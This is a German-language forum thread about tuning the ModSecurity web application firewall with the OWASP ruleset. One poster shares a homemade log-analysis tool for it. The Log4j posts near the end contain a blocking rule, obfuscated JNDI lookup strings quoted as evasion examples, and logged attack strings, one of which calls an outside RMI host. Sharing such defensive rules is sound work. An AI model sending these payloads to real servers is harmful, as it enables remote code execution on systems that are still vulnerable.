ModSecurity Tuning

  • Hier im Forum wird ja oft darauf hingewiesen, wie wichtig es ist einen Server abzusichern.

    Meist geht es dabei aber um ssh, iptables etc, also die unteren Netzwerkschichten. Die Absicherung auf dieser Ebene ist unabdingbar, schützt aber leider nicht auf Layer 7, also gegen Angriffe über den Webserver. (SQL-Injections, XSS etc). Dazu ist eine WAF nötig.


    Bis vor kurzem habe ich mich da auf die WAF-Plugins der Anwendungen verlassen, nun aber doch mal ModSecurity angetestet, zusammen mit dem OWASP-ruleset

    Ich habe schnell festgestellt, dass dies zwar ein gutes und mächtiges Werkzeug ist, man sich aber ein wenig eingehender damit beschäftigen muss, wenn man effektiven Nutzen daraus ziehen will. (Zum Glück konnte ich das wirklich gute "ModSecurity Handbook" von Folini und Ristic günstig abstauben :))

    Einfach nur installieren wird in der Regel nicht ausreichen. Insbesondere wenn man viele verschiedenartige Anwendungen laufen hat, würde das zu viele, nicht tragbare Fehlalarme geben. Man muss also nachsteuern.


    ModSecurity im DetectionOnly-mode laufen zu lassen und dann eine Zeitlang die logfiles zu durchforsten (um false positives von echten Attacken zu separieren und dann Ausnahmen erstellen zu können) kann aber eine ziemlich frustrierende Angelegenheit sein. :(

    Ich habe mir deshalb ein kleines Tool ('pamsel') speziell dafür gestrickt, um mir die Arbeit dabei zu erleichtern.

    Evtl. kann ja der eine oder andere, der ModSec verwendet (oder dies vorhat) etwas damit anfangen:


    pamsel.zip


    (Nur linux-binary, C-sourcecode steht momentan noch nicht zu Verfügung. Ihr müsst mir halt vertrauen, dass ich euch keinen Trojaner unterjubele ;))


    Echte Doku gibt es (noch) nicht, aber hier mal die --help Ausgabe von pamsel:

  • Habe mal einen bug behoben und ein paar weitere zusätzliche Optionen eingebaut:


    Mir hat das Ding nun wohl tatsächlich mehr Zeit beim effektiven Whitelisten/Tunen gespart, als das Programmieren gekostet hat.

    Evtl. kann es ja tatsächlich jemand gebrauchen. (Falls überhaupt jemand ModSecurity einsetzt)


    pamselatwork.jpg

  • So ungefähr. ^^ Nur dass ich hier (wie immer) Praktikant und Chef in Personalunion bin. :S

    Aber eigentlich läuft es bei mir immer so ab. (Schnell runtergeschrieben und so bleibt es dann undokumentiert für die Ewigkeit) Normalerweise würde man sich ja hinsetzen und das Schema abarbeiten (Anforderungsanalyse, Planung, Coding, Dokumentation(!), Tests....) Aber dann wäre ich nächstes Jahr noch nicht fertig. ;)


    https://blog.atwork.at/image.a…how-the-project-works.png

  • Könntest du evtl. kurzs schreiben, warum der Quellcode (noch) nicht öffentlich ist?

    Weil ich das quick & dirty runtergecoded habe, um schnell was zum arbeiten zu haben.

    Den Code kann man noch niemandem zeigen. ;)

    Demnächst bringe ich das aber in Form :)


    Was nun geschehen ist. :) Nun auch mit Quellcode. Könnt ihr also nach Belieben den eigenen Bedürfnissen anpassen:


    pamsel.zip


    Die Optionen wurden noch ein wenig geändert.


    Bitte beachten: Das ist ein Hilfstool, das ich eigentlich nur speziell auf meine Bedürfnisse konzipiert habe.

    Falls es aber tatsächlich jemand als Unterstützung für sein ModSec-Whitelisting verwendet, wäre ich für Rückmeldung dankbar, falls bugs auftauchen. (Oder wenn ihr was Scheisse findet und Verbesserungsvorschläge habt ;))

  • Willst Du das vielleicht auch auf GitHub/GitLab/… für die Nachwelt archivieren? :)

    Ja, dann wenn ich mich mal mit GitHub vertraut gemacht habe. ;)

    Ich habe da bisher immer nur was runtergeladen oder geklont. Ich finde es irgendwie sehr unübersichtlich und das hat mich bisher davon abgehalten, selbst mal was einzustellen. Bei Gelegenheit schaue ich mir das aber mal näher an.

  • Aus gegebenem Anlass:


    SecRule ARGS|REQUEST_HEADERS|REQUEST_URI|REQUEST_BODY|REQUEST_COOKIES|REQUEST_LINE|QUERY_STRING "jndi:ldap:" \

    "phase:1,id:2021,t:none,log,auditlog,msg:'Log4j Vulnerability',severity:'CRITICAL',deny,status:403"

    Wobei man sich mit obiger Regel nicht zu sicher fühlen sollte, da es außerordentlich schwer ist, alle Varianten abzufangen, die mittlerweile aufschlagen. Beispiele:

    • ua:"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://[…]}"
    • ref:"${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://[…]}"
  • Nachtrag:


    Im Prinzip ist diese zusätzliche Regel aber sowieso nicht nötig, denn die OWASP-rules blocken solche Konstrukte in der url ja sowieso schon zuverlässig über Regel 932130, die unter anderem sowas wie ${parm} abdeckt:


    Pamsel: ;)

    ...

    SERIOUS 932130 "Remote Command Execution: Unix Shell Expression Found" "${${lower:j}${lower:n}${lower:d}...

    SERIOUS 932130 "Remote Command Execution: Unix Shell Expression Found" "${${lower:j}${lower:n}${lower:d}...

    BLOCKED 949110 "Inbound Anomaly Score Exceeded (Total Score: 10)" "-" -

    SERIOUS 932130 "Remote Command Execution: Unix Shell Expression Found" "${jndi:rmi://188.166.57.35:1389/binary}...

    BLOCKED 949110 "Inbound Anomaly Score Exceeded (Total Score: 5)" "-" -

    ...


    Pattern match:

    "(?:\\$(?:\\((?:\\(.*\\)|.*)\\)|\\{.*\\})|[<>]\\(.*\\))"


    (Diese Regel hat "severity" 5, der Zugriff wird also auch im üblichen anomaly-mode sofort geblockt.)